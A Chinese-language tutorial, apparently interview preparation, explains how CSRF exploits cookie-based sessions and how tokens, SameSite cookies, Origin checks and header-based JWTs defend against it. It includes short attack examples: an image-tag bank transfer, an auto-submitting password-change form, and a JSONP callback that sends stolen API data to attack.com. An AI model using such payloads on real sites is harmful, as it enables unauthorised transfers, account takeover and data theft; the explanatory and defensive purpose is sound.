CSRF 攻击

网站是如何“记住”你的❓

🤔 当你用账号密码登录一个网站(比如你的邮箱)时,服务器会想:“好的,这个人是张三,密码对了。我不能让他每点一个链接都重新输一次密码,那太麻烦了。”

🤗 于是,服务器会给你的浏览器发一个独一无二的凭证,就像给你一个临时工牌。这个“工牌”在技术上的名字叫 ​Session ID​(会话ID),浏览器会把它自动保存在一个叫 ​Cookie​ 的地方。

  • ​关键点​:此后,在你浏览这个网站的期间内,你的浏览器每次向该网站服务器发送请求时,都会自动地把这个“工牌”(Cookie)一起带上。服务器看到这个工牌,就知道:“哦,是张三啊,请进请进。”

这种“自动带工牌”的机制,​带来了巨大的便利性​,用户无需重复登录,可以无缝地浏览网页、收邮件、发状态。

 

下图是正常请求过程的时序图

但同时​也埋下了巨大的风险​——任何来源的请求,只要是你浏览器发往这个网站的,浏览器都会自动、无条件地把这个“工牌”带上。 这就导致出现了 CSRF 攻击!

🔍 CSRF 攻击

黑客想冒充你,但他拿不到你的密码,也偷不走你浏览器里的那个“工牌”。但他想到了一个更狡猾的办法:

​他不需要偷走工牌,他只需要骗你帮他把一个“指令”递进去就行了。​​

我们来分解一下他的操作:

  1. ​伪造指令​:黑客研究你想攻击的网站(比如银行网站)的转账功能。他写了一个转账请求,命令是“从张三的账户转100元到李四(黑客的)账户”。

  2. ​设计陷阱​:他把这个转账请求伪装成一个看起来人畜无害的东西,比如:一个“点击抽大奖”的按钮;或者一个隐藏的iframe,你进入页面就自动触发。

  3. ​诱你上钩​:他想办法让你去访问这个藏有陷阱的网页(比如通过邮件、论坛发链接给你)。

  4. ​触发请求​:你一旦点击那个按钮(或者只是访问了那个页面),你的浏览器就会向银行网站发送那个早已准备好的转账请求。

  5. ​自动认证​:关键是,如果你之前已经登录了银行网站,你的浏览器在发送这个请求时,会习惯性地、自动地把你登录银行的“工牌”(Cookie)也一起附带上!

  6. ​攻击成功​:银行的服务器收到了这个请求,一看:“工牌是对的,是张三本人发来的请求。好的,执行转账!”于是,钱就在你完全不知情的情况下转走了。

这个过程就叫做跨站请求伪造​

  • ​跨站​:这个恶意请求是从黑客的网站(跨了一个站)发出来的,而不是从银行官网发出的。
  • ​请求伪造​:这个请求是黑客伪造的,并不是你真心想发的。

⚔️ ​常见攻击方式

  1. ​GET型

📖 ​原理:利用 <img><script> 等标签的 src 属性自动发起 GET 请求。

🌰 ​示例

let host = "http://bank.com/transfer" let query = "?to=attacker&amount=10000" <img src="`${host}${query}`" />

用户访问含此代码的恶意页面时,自动触发转账(需用户已登录银行)。

  1. ​POST型​

📖 原理:构造隐藏表单,通过 JS 脚本自动提交

🌰 示例

<form action="http://bank.com/change-pwd" method="POST">
  <input type="hidden" name="new_password" value="123456" />
</form>
<script>
  document.forms[0].submit();
</script>

用户访问页面时自动提交表单,修改密码。

  1. JSON型

原理:结合 CORS 配置漏洞或 JSONP 回调函数,伪造 JSON 请求。

示例​:

<script>
  function callback(data) {
    const str = JSON.stringify(data);
    fetch(`http://attack.com?data=${str}`);
  }
</script>

<script src="http://target.com?cb=callback"></script>

窃取API返回的敏感数据。

  1. 存储型(蠕虫传播)​​

📖 原理​:在论坛/CMS中植入恶意代码(如自动提交表单的图片),用户浏览即触发。 ⚠ 危害:结合 XSS 可大规模传播(如自动向好友发送恶意链接)。

​防御手段及实施要点​

🛡️ 1、CSRF Token(同步令牌模式)

原理:为每个用户会话生成唯一令牌(Token),要求客户端在发起敏感请求时提交该令牌,服务器验证其有效性。

​实现方式​:

  1. ​生成与存储​:用户访问页面时,服务器生成高强度随机Token(如32位随机字节),存储在服务端Session或加密Cookie中。

  2. 嵌入客户端​:

    ✌🏻 表单:将 Token 放入隐藏字段(<input type="hidden" name="csrf_token" value="...">)。

    😃 AJAX请求:将 Token 添加到请求头(如X-CSRF-Token)。

  3. ​校验与更新​: ✌🏻 服务器收到请求后,对比客户端提交的TokenSession中存储的是否一致,不一致则拒绝 🤔 每次验证后更新 Token(避免重放攻击)

​关键注意事项​:

  • ​高强度随机​:使用密码学安全的随机数生成器(如random_bytes)
  • ​防泄露​:避免通过 URL 传递 Token(可能被浏览器历史记录泄露)
  • ​配合XSS防御​:若网站存在 XSS 漏洞,Token 可能被窃取,需同步做好 XSS 防护

🌐 2、SameSite Cookie属性

​原理​:限制浏览器在跨站请求中自动发送Cookie,从而阻断恶意请求的身份认证

实现方式(HTTP响应头中设置):

  • Strict:完全禁止跨站携带Cookie(适用于敏感操作如支付)
  • Lax(默认):允许安全跨站请求(如导航跳转的GET请求)携带 Cookie,但阻止 POSTiframe等非安全请求

局限性​:

  • 旧版浏览器(如IE)不支持
  • 需配合Token使用,覆盖全部场景

🔍 3、验证请求来源(Referer/Origin检查)

​原理:校验 HTTP 请求头中的 RefererOrigin 字段,确保请求来自合法域名

​优先级​

  • 优先检查 Origin 头(仅含协议+域名+端口,无路径,隐私性更好)
  • Referer 为空或不匹配时拒绝请求

缺陷​:

  • 用户隐私设置或防火墙可能屏蔽 Referer
  • 仅作辅助手段,不可单独依赖

🤩 4、无状态认证(JWT/OAuth)

  1. JWT 存储于前端​

    若 JWT 存储在 localStorage 而非 Cookie,并通过 Authorization: Bearer <token> 手动添加请求头,浏览器不会自动携带,天然免疫 CSRF。

  2. OAuth 2.0 的授权机制

    依赖 state 参数和 PKCE 流程,验证请求来源合法性,间接防御 CSRF

🤖 5、增强型辅助措施

  1. ​关键操作二次验证​

    ​验证码(CAPTCHA)​​:敏感操作(如转账、改密码)前强制用户输入图形/短信验证码。

    ​密码确认​:执行操作前要求再次输入密码。 ✅ ​适用场景​:高风险操作,但需平衡用户体验。

  2. ​限制 HTTP 方法​

    强制敏感操作(如修改数据、转账等操作)使用POST/PUT/DELETE,禁用GET(避免通过 <img> 标签触发)。

面试加分项

Q: CSRF Token 为什么要放在 Header?

因为 CSRF 本质是利用浏览器自动带 Cookie 的机制。如果把 Token 放在 Header (Authorization 或 X-CSRF-Token),因为浏览器默认不会自动携带这种自定义 Header (除非是同源 AJAX),攻击者很难通过简单的 <img><form> 伪造这种请求。

Q: 为什么现代框架很少提 CSRF 了?

因为如果使用 JWT (JSON Web Token) 并存放在 localStorage (或者 HttpOnly Cookie + CSRF Token),且每次请求都通过 Authorization Header 手动携带 Token,那么 CSRF 就很难发生了 (因为攻击者即使诱导你发请求,浏览器也不会自动带上 Header 中的 Token)。

💎 ​总结

CSRF 攻击的根源在于Web身份验证机制的缺陷:

  1. ​浏览器自动携带身份凭证​ 用户登录网站后,浏览器会保存会话凭证(如Cookie)。后续向同域名发起的请求中,浏览器自动附加这些凭证,服务器仅凭此判断用户身份。
  2. ​缺乏请求来源验证​ 服务器未校验请求是否由用户主动发起。攻击者伪造请求时,因携带合法Cookie,服务器误判为合法操作。

本质矛盾:服务器信任“携带Cookie的请求=用户自愿操作”,但实际可能是恶意诱导的“借刀杀人”。